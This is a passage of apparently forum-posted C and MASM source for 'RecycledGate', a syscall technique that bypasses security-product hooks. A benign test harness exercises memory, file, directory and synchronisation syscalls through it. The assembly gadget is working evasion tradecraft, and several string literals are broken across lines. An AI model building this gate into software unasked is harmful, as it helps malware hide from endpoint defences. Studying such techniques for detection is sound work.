&pBaseAddress,
&RegionSize,
PAGE_EXECUTE_READ,
&OldProtect
);
if (NT_SUCCESS(status)) {
printf("[+] Memory protection changed\n");
successes++;
}
else {
printf("[!] Failed to change memory protection (status: 0x%x)\n", status);
failures++;
}
});
// Test NtFreeVirtualMemory
TEST_SYSCALL("NtFreeVirtualMemory", {
status = RG_NtFreeVirtualMemory(
GetCurrentProcess(),
&pBaseAddress,
&RegionSize,
MEM_RELEASE
);
if (NT_SUCCESS(status)) {
printf("[+] Memory freed\n");
successes++;
}
else {
printf("[!] Failed to free memory (status: 0x%x)\n", status);
failures++;
}
});
}
else {
printf("[!] Failed to allocate memory (status: 0x%x)\n", status);
failures++;
}
});
// =================== File Operations ===================
HANDLE hFile = NULL;
TEST_SYSCALL("NtCreateFile", {
UNICODE_STRING fileName;
OBJECT_ATTRIBUTES objAttr;
IO_STATUS_BLOCK ioStatusBlock;
WCHAR fileNameBuffer[MAX_PATH] = L"\\??\\C:\\Users\\Public\\RecycledGateTest.txt";
InitializeUnicodeString(&fileName, fileNameBuffer);
InitializeObjectAttributes(&objAttr, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = RG_NtCreateFile(
&hFile,
FILE_GENERIC_WRITE | FILE_GENERIC_READ,
&objAttr,
&ioStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
if (NT_SUCCESS(status)) {
printf("[+] File created\n");
successes++;
}
else if (status == STATUS_ACCESS_DENIED) {
printf("
[*]File creation failed with ACCESS_DENIED (expected if running without admin rights)\n");
skipped++;
hFile = NULL; // Ensure we don't try to use this handle
}
else {
printf("[!] Failed to create file (status: 0x%x)\n", status);
failures++;
hFile = NULL; // Ensure we don't try to use this handle
}
});
if (hFile != NULL) {
// Test NtWriteFile
TEST_SYSCALL("NtWriteFile", {
IO_STATUS_BLOCK ioStatusBlock;
char testData[] = "Hello from RecycledGate!";
status = RG_NtWriteFile(
hFile,
NULL,
NULL,
NULL,
&ioStatusBlock,
testData,
sizeof(testData) - 1,
NULL,
NULL
);
if (NT_SUCCESS(status)) {
printf("[+] Data written to file\n");
successes++;
}
else {
printf("[!] Failed to write to file (status: 0x%x)\n", status);
failures++;
}
});
// Test NtSetInformationFile
TEST_SYSCALL("NtSetInformationFile", {
IO_STATUS_BLOCK ioStatusBlock;
FILE_BASIC_INFORMATION basicInfo = {0};
// Set the file attributes to read-only
basicInfo.FileAttributes = FILE_ATTRIBUTE_READONLY;
status = RG_NtSetInformationFile(
hFile,
&ioStatusBlock,
&basicInfo,
sizeof(FILE_BASIC_INFORMATION),
FileBasicInformation
);
if (NT_SUCCESS(status)) {
printf("[+] File information set\n");
successes++;
// Reset the file attributes to normal
basicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
status = RG_NtSetInformationFile(
hFile,
&ioStatusBlock,
&basicInfo,
sizeof(FILE_BASIC_INFORMATION),
FileBasicInformation
);
if (!NT_SUCCESS(status)) {
printf("[!] Failed to reset file attributes (status: 0x%x)\n", status);
}
}
else {
printf("[!] Failed to set file information (status: 0x%x)\n", status);
failures++;
}
});
// Test NtQueryInformationFile
TEST_SYSCALL("NtQueryInformationFile", {
IO_STATUS_BLOCK ioStatusBlock;
FILE_BASIC_INFORMATION basicInfo = {0};
status = RG_NtQueryInformationFile(
hFile,
&ioStatusBlock,
&basicInfo,
sizeof(FILE_BASIC_INFORMATION),
FileBasicInformation
);
if (NT_SUCCESS(status)) {
printf("[+] File information queried (attributes: 0x%x)\n", basicInfo.FileAttributes);
successes++;
}
else {
printf("[!] Failed to query file information (status: 0x%x)\n", status);
failures++;
}
});
// Test NtReadFile
TEST_SYSCALL("NtReadFile", {
IO_STATUS_BLOCK ioStatusBlock;
char readBuffer[100] = {0};
// Seek to the beginning of the file
FILE_POSITION_INFORMATION posInfo = {0};
status = RG_NtSetInformationFile(
hFile,
&ioStatusBlock,
&posInfo,
sizeof(FILE_POSITION_INFORMATION),
FilePositionInformation
);
if (NT_SUCCESS(status)) {
status = RG_NtReadFile(
hFile,
NULL,
NULL,
NULL,
&ioStatusBlock,
readBuffer,
sizeof(readBuffer) - 1,
NULL,
NULL
);
if (NT_SUCCESS(status)) {
printf("[+] Data read from file: '%s'\n", readBuffer);
successes++;
}
else {
printf("[!] Failed to read from file (status: 0x%x)\n", status);
failures++;
}
}
else {
printf("[!] Failed to seek to beginning of file (status: 0x%x)\n", status);
failures++;
}
});
// Test NtClose for the file
TEST_SYSCALL("NtClose (File)", {
status = RG_NtClose(hFile);
if (NT_SUCCESS(status)) {
printf("[+] File closed\n");
successes++;
hFile = NULL;
}
else {
printf("[!] Failed to close file (status: 0x%x)\n", status);
failures++;
}
});
}
// =================== OpenFile Test ===================
TEST_SYSCALL("NtOpenFile", {
HANDLE hOpenFile = NULL;
UNICODE_STRING fileName;
OBJECT_ATTRIBUTES objAttr;
IO_STATUS_BLOCK ioStatusBlock;
WCHAR fileNameBuffer[MAX_PATH] = L"\\??\\C:\\Windows\\System32\\kernel32.dll";
InitializeUnicodeString(&fileName, fileNameBuffer);
InitializeObjectAttributes(&objAttr, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = RG_NtOpenFile(
&hOpenFile,
FILE_GENERIC_READ,
&objAttr,
&ioStatusBlock,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT
);
if (NT_SUCCESS(status)) {
printf("[+] File opened\n");
successes++;
// Test NtQueryAttributesFile indirectly by closing this handle
status = RG_NtClose(hOpenFile);
if (NT_SUCCESS(status)) {
printf("[+] Opened file closed\n");
successes++;
}
else {
printf("[!] Failed to close opened file (status: 0x%x)\n", status);
failures++;
}
}
else {
printf("[!] Failed to open file (status: 0x%x)\n", status);
failures++;
}
});
// =================== Directory Operations ===================
TEST_SYSCALL("NtOpenDirectoryObject", {
HANDLE hDirectory = NULL;
UNICODE_STRING dirName;
OBJECT_ATTRIBUTES objAttr;
WCHAR dirNameBuffer[MAX_PATH] = L"\\BaseNamedObjects";
InitializeUnicodeString(&dirName, dirNameBuffer);
InitializeObjectAttributes(&objAttr, &dirName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = RG_NtOpenDirectoryObject(
&hDirectory,
DIRECTORY_QUERY,
&objAttr
);
if (NT_SUCCESS(status)) {
printf("[+] Directory object opened\n");
successes++;
// Test NtQueryDirectoryObject
TEST_SYSCALL("NtQueryDirectoryObject", {
BYTE buffer[1024] = {0};
ULONG returnLength = 0;
ULONG context = 0;
status = RG_NtQueryDirectoryObject(
hDirectory,
buffer,
sizeof(buffer),
TRUE,
TRUE,
&context,
&returnLength
);
if (NT_SUCCESS(status)) {
printf("[+] Directory object queried\n");
successes++;
}
else {
printf("[!] Failed to query directory object (status: 0x%x)\n", status);
failures++;
}
});
status = RG_NtClose(hDirectory);
if (NT_SUCCESS(status)) {
printf("[+] Directory object closed\n");
successes++;
}
else {
printf("[!] Failed to close directory object (status: 0x%x)\n", status);
failures++;
}
}
else {
printf("[!] Failed to open directory object (status: 0x%x)\n", status);
failures++;
}
});
// =================== System Information ===================
TEST_SYSCALL("NtQuerySystemInformation", {
ULONG returnLength = 0;
// First query to get the required buffer size
status = RG_NtQuerySystemInformation(
SystemBasicInformation,
NULL,
0,
&returnLength
);
if (status == STATUS_INFO_LENGTH_MISMATCH && returnLength > 0) {
PVOID buffer = malloc(returnLength);
if (buffer) {
status = RG_NtQuerySystemInformation(
SystemBasicInformation,
buffer,
returnLength,
&returnLength
);
if (NT_SUCCESS(status)) {
printf("[+] System information queried\n");
successes++;
}
else {
printf("[!] Failed to query system information (status: 0x%x)\n", status);
failures++;
}
free(buffer);
}
else {
printf("[!] Failed to allocate memory for system information\n");
failures++;
}
}
else {
printf("[!] Failed to get system information buffer size (status: 0x%x)\n", status);
failures++;
}
});
// =================== Synchronization Objects ===================
TEST_SYSCALL("NtCreateMutant", {
HANDLE hMutant = NULL;
UNICODE_STRING mutantName;
OBJECT_ATTRIBUTES objAttr;
WCHAR mutantNameBuffer[MAX_PATH] = L"\\??\\RecycledGateTestMutant";
InitializeUnicodeString(&mutantName, mutantNameBuffer);
InitializeObjectAttributes(&objAttr, &mutantName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = RG_NtCreateMutant(
&hMutant,
MUTANT_ALL_ACCESS,
&objAttr,
FALSE
);
if (NT_SUCCESS(status)) {
printf("[+] Mutant created\n");
successes++;
// Test NtClose for mutant
status = RG_NtClose(hMutant);
if (NT_SUCCESS(status)) {
printf("[+] Mutant closed\n");
successes++;
}
else {
printf("[!] Failed to close mutant (status: 0x%x)\n", status);
failures++;
}
}
else {
printf("[!] Failed to create mutant (status: 0x%x)\n", status);
failures++;
}
});
TEST_SYSCALL("NtCreateSemaphore", {
HANDLE hSemaphore = NULL;
UNICODE_STRING semaphoreName;
OBJECT_ATTRIBUTES objAttr;
WCHAR semaphoreNameBuffer[MAX_PATH] = L"\\??\\RecycledGateTestSemaphore";
InitializeUnicodeString(&semaphoreName, semaphoreNameBuffer);
InitializeObjectAttributes(&objAttr, &semaphoreName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = RG_NtCreateSemaphore(
&hSemaphore,
SEMAPHORE_ALL_ACCESS,
&objAttr,
2, // Initial count
10 // Maximum count
);
if (NT_SUCCESS(status)) {
printf("[+] Semaphore created\n");
successes++;
// Test NtReleaseSemaphore
TEST_SYSCALL("NtReleaseSemaphore", {
LONG previousCount = 0;
status = RG_NtReleaseSemaphore(
hSemaphore,
1, // Release count
&previousCount
);
if (NT_SUCCESS(status)) {
printf("[+] Semaphore released (previous count: %ld)\n", previousCount);
successes++;
}
else {
printf("[!] Failed to release semaphore (status: 0x%x)\n", status);
failures++;
}
});
// Test NtWaitForSingleObject
TEST_SYSCALL("NtWaitForSingleObject", {
LARGE_INTEGER timeout;
timeout.QuadPart = -10000000; // 1 second in 100ns intervals
status = RG_NtWaitForSingleObject(
hSemaphore,
FALSE,
&timeout
);
if (NT_SUCCESS(status)) {
printf("[+] Wait for single object succeeded\n");
successes++;
}
else {
printf("[!] Wait for single object failed (status: 0x%x)\n", status);
failures++;
}
});
// Close the semaphore
status = RG_NtClose(hSemaphore);
if (NT_SUCCESS(status)) {
printf("[+] Semaphore closed\n");
successes++;
}
else {
printf("[!] Failed to close semaphore (status: 0x%x)\n", status);
failures++;
}
}
else {
printf("[!] Failed to create semaphore (status: 0x%x)\n", status);
failures++;
}
});
// =================== Delay Execution ===================
TEST_SYSCALL("NtDelayExecution", {
LARGE_INTEGER delay;
delay.QuadPart = -10000000; // 1 second in 100ns intervals
printf("
[*]Delaying execution for 1 second...\n");
status = RG_NtDelayExecution(
FALSE,
&delay
);
if (NT_SUCCESS(status)) {
printf("[+] Delay execution succeeded\n");
successes++;
}
else {
printf("[!] Delay execution failed (status: 0x%x)\n", status);
failures++;
}
});
// The following APIs may be more complex to test or require specific setup:
// - NtWaitForMultipleObjects (would need multiple objects)
// - NtFsControlFile (requires specific control codes)
// - NtDeviceIoControlFile (requires specific device handles)
// - NtSetSecurityObject (requires security descriptors)
// - NtQueryVolumeInformationFile (requires volume handle)
printf("\n
[*]Skipping complex APIs that require specific setup:\n");
printf(" - NtWaitForMultipleObjects\n");
printf(" - NtFsControlFile\n");
printf(" - NtDeviceIoControlFile\n");
printf(" - NtSetSecurityObject\n");
printf(" - NtQueryVolumeInformationFile\n");
printf(" - NtQueryAttributesFile\n");
printf(" - NtQueryDirectoryFile\n");
// Print summary
printf("\n[+] RecycledGate demo completed.\n");
printf("[+] Successful operations: %lu\n", successes);
printf("[+] Failed operations: %lu\n", failures);
printf("[+] Skipped operations: %lu\n", skipped);
// Clean up any remaining handles
if (hFile != NULL) {
RG_NtClose(hFile);
}
return (failures == 0);
}
Code:
#include <Windows.h>
#include <stdio.h>
#include "structs.h"
#include "RecycledGate.h" // Include the header file
int main() {
printf("=====================================================\n");
printf(" Direct Syscall Technique: RecycledGate \n");
printf("=====================================================\n\n");
printf("
[*]Running RecycledGate demo...\n\n");
BOOL result = RecycledGateDemo();
printf("\n[+] RecycledGate demo %s.\n", result ? "succeeded" : "failed");
printf("\nPress any key to exit...");
getchar();
return 0;
}
recycledGate.asm
Code:
; RecycledGate - MASM x64 format
; Dynamic system call invocation with hook bypass
;
; Make sure to compile this with ML64 (MASM x64)
.code
; Make our functions visible to the linker
PUBLIC RecycledGate
PUBLIC RecycledGateDescent
.data
; Global variables to store syscall info
wSystemCall DWORD 000h
qRecycledGate QWORD 0000000000000000h
.code
; RecycledGate stores both syscall number and a pointer to the syscall instruction
RecycledGate PROC
mov wSystemCall, 000h ; Clear the syscall number
mov wSystemCall, ecx ; Store the syscall number in global variable
mov qRecycledGate, rdx ; Store the address of the syscall instruction
ret
RecycledGate ENDP
; RecycledGateDescent jumps to the syscall instruction directly
RecycledGateDescent PROC
mov r10, rcx ; syscall convention requires first param in r10
mov eax, wSystemCall ; Move the syscall number to eax
; Instead of executing syscall directly,
; jump to the recycled gate (the address of a syscall; ret sequence)
jmp qword ptr [qRecycledGate]
; The recycled gate will return directly to the caller
RecycledGateDescent ENDP
END